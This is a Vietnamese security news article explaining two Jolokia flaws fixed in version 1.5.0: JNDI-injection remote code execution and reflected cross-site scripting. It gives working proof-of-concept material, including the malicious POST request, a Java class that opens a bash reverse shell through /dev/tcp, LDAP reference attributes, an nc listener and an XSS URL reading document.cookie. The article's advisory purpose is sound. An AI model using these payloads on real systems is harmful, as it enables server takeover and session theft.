Jolokia là một sản phẩm mã nguồn mở được sử dụng để cung cấp giao diện API HTTP cho JMX (Java Management Extensions) - công nghệ được sử dụng để quản lý và giám sát các thiết bị, ứng dụng và các mạng hướng dịch vụ. Jolokia chứa một API có thể được sử dụng để gọi đối tượng MBeans (một đối tượng Java được quản lý, tương tự thành phần JavaBeans) được đăng ký trên máy chủ và đọc/ghi các thuộc tính. Hai lỗ hổng được phát hiện là: Remote Code Execution qua JNDI Injection (CVE-2018-1000130) và Cross-Site Scripting (CVE-2018-1000129). Các phiên bản được phát hành trước Jolokia 1.5.0 đều tồn tại 2 lỗ hổng bảo mật này.
Lỗ hổng Remote Code Execution qua JNDI Injection – CVE-2018-1000130
Trước phiên bản 1.5.0, dịch vụ Jolokia tồn tại chế độ proxy dễ dàng bị ảnh hưởng từ JNDI injection (tham khảo bài trình bày về tấn công JNDI trong BlackHat USA 2016). Khi agent Jolokia được triển khai trên chế độ proxy, với việc truy cập tới Jolokia web endpoint, kẻ tấn công từ bên ngoài có thể thực thi mã tùy ý từ xa thông qua tấn công JNDI injection. Cuộc tấn công này có thể thực hiện được vì thư viện Jolokia khởi tạo những kết nối LDAP/RMI sử dụng đầu vào của người dùng cung cấp.
Nếu hệ thống của bên thứ ba sử dụng dịch vụ Jolokia trong chế độ proxy, hệ thống này sẽ được tương tác với việc thực hiện mã từ xa thông qua Jolokia endpoint. Jolokia - tương tự như một thành phần, không cung cấp bất kỳ cơ chế xác thực cho endpoint để bảo vệ máy chủ chống lại kẻ tấn công.
Các bước mô phỏng
Request POST có thể được sử dụng để khai thác lỗ hổng này là:
POST /jolokia/ HTTP/1.1 Host: localhost:10007 Content-Type: application/x-www-form-urlencoded Content-Length: 206 { "type" : "read", "mbean" : "java.lang:type=Memory", "target" : { "url" : "service:jmx:rmi:///jndi/ldap://localhost:9092/jmxrmi" } } |
Tạo các máy chủ LDAP và HTTP để phát tán các payload độc hại. Những đoạn mã này sẽ được lấy từ Github: marshalsec và zerothoughts. Sau đó tạo một ExportObject.java.
public class ExportObject { public ExportObject() { try { System.setSecurityManager(null); java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/127.0.0.1/7777 0>&1`"); } catch(Exception e) { e.printStackTrace(); } } } |
Máy chủ LDAP thực hiện lệnh: http://127.0.0.1:7873/#ExportObject 9092”. Trong đó http://127.0.0.1:7873/ là URL máy chủ HTTP của kẻ tấn công, ExportObject là tên của class Java chứa mã của kẻ tấn công và 9092 là cổng lắng nghe trên máy chủ LDAP.
Thực hiện lệnh “$ nc -lv 7777” để lắng nghe trên cổng 7777. Sau khi request POST được gửi đi, máy chủ có lỗ hổng sẽ tạo một request tới máy chủ LDAP của kẻ tấn công.
Khi máy chủ LDAP nhận được một request từ máy chủ có lỗ hổng trên cổng 9092, nó sẽ tạo một Entry object với các thuộc tính và gửi lại LDAP response.
e.addAttribute("javaClassName", "ExportObject"); e.addAttribute("javaCodeBase", "http://127.0.0.1/"); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", "ExportObject"); |
Khi đó máy chủ sẽ nạp ExportObject.class từ máy chủ HTTP của kẻ tấn công, khởi tạo đối tượng và thực hiện lệnh đảo ngược. Kẻ tấn công nhận kết nối trở lại từ máy chủ có lỗ hổng bằng lệnh nc.
Lỗ hổng Cross-Site Scripting – CVE-2018-1000129
Ứng dụng web Jolokia dễ bị ảnh hưởng bởi một cuộc tấn công XSS cổ điển. Mặc định, Jolokia gửi các phản hồi với Content-Type application/json, nên hầu hết các trường hợp chèn thêm vào dữ liệu đầu vào của người dùng cung cấp là không khó khăn. Nhưng nó đã được phát hiện từ việc đọc mã nguồn, có thể chỉnh sửa trường Content-Type của phản hồi bằng việc thêm tham số mimeType vào request GET.
http://localhost:8161/api/jolokia/read?mimeType=text/html
Sau đó, URL sẽ bị thay đổi bằng cách chèn thêm vào một số lệnh hoặc mã khai thác.
http://localhost:8161/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html
Với Content-Type text/html, có thể tấn công XSS reflected cổ điển. Việc khai thác lỗ hổng này cho phép kẻ tấn công cung cấp đoạn mã javascript trong các tham số truyền vào trong ứng dụng, đoạn mã này sẽ được thực thi trên trình duyệt web của người dùng cuối. Ngoài ra, kẻ tấn công có thể đánh cắp cookie, truy cập trái phép với phiên xác thực của người dùng, thay đổi nội dung trang web bị tấn công hoặc làm ảnh hưởng tới trình duyệt của người dùng.
Người dùng Jolokia cần khẩn trương cập nhập dịch vụ lên phiên bản 1.5.0.
Mr. 0
08:00 | 25/06/2018
10:00 | 07/05/2024
Các chuyên gia bảo mật vừa phát hiện 3 ứng dụng có chứa mã độc trên ứng dụng Google Play dành cho Android. Nếu đã cài đặt một trong 3 ứng dụng này, người dùng nên gỡ bỏ ngay để tránh các rủi ro đáng tiếc.
09:00 | 03/05/2024
Một lỗ hổng nghiêm trọng ảnh hưởng đến nhiều ngôn ngữ lập trình cho phép kẻ tấn công chèn lệnh vào các ứng dụng Windows.
14:00 | 24/04/2024
Europol đưa ra thông báo, nền tảng cung cấp dịch vụ lừa đảo (PhaaS) LabHost vừa bị triệt phá trong chiến dịch kéo dài 1 năm của các nhà hành pháp toàn cầu, 37 nghi phạm bị bắt giữ.
14:00 | 16/01/2024
Theo nghiên cứu mới đây của Zimperium (công ty bảo mật di động có trụ sở tại Hoa Kỳ), 29 họ phần mềm độc hại đã nhắm mục tiêu vào 1.800 ứng dụng ngân hàng trên 61 quốc gia vào năm 2023. Nhiều hơn gần gấp 3 lần năm 2022 với 10 dòng phần mềm độc hại nhắm mục tiêu đến 600 ứng dụng ngân hàng. Có thể thấy được sự phát triển và tiện lợi của các ứng dụng ngân hàng trực tuyến, tuy nhiên chúng cũng đi kèm với nguy cơ tiềm ẩn về an toàn thông tin và gian lận tài chính.
Năm 2024, các tác nhân đe dọa được dự báo sẽ tận dụng sức mạnh của trí tuệ nhân tạo (AI) để thực hiện các hoạt động lừa đảo một cách thông minh hơn. Bằng việc sử dụng công nghệ AI tạo sinh, chúng có thể tạo ra các chiến thuật tấn công mới, khó phát hiện và kiểm soát.
16:00 | 18/05/2024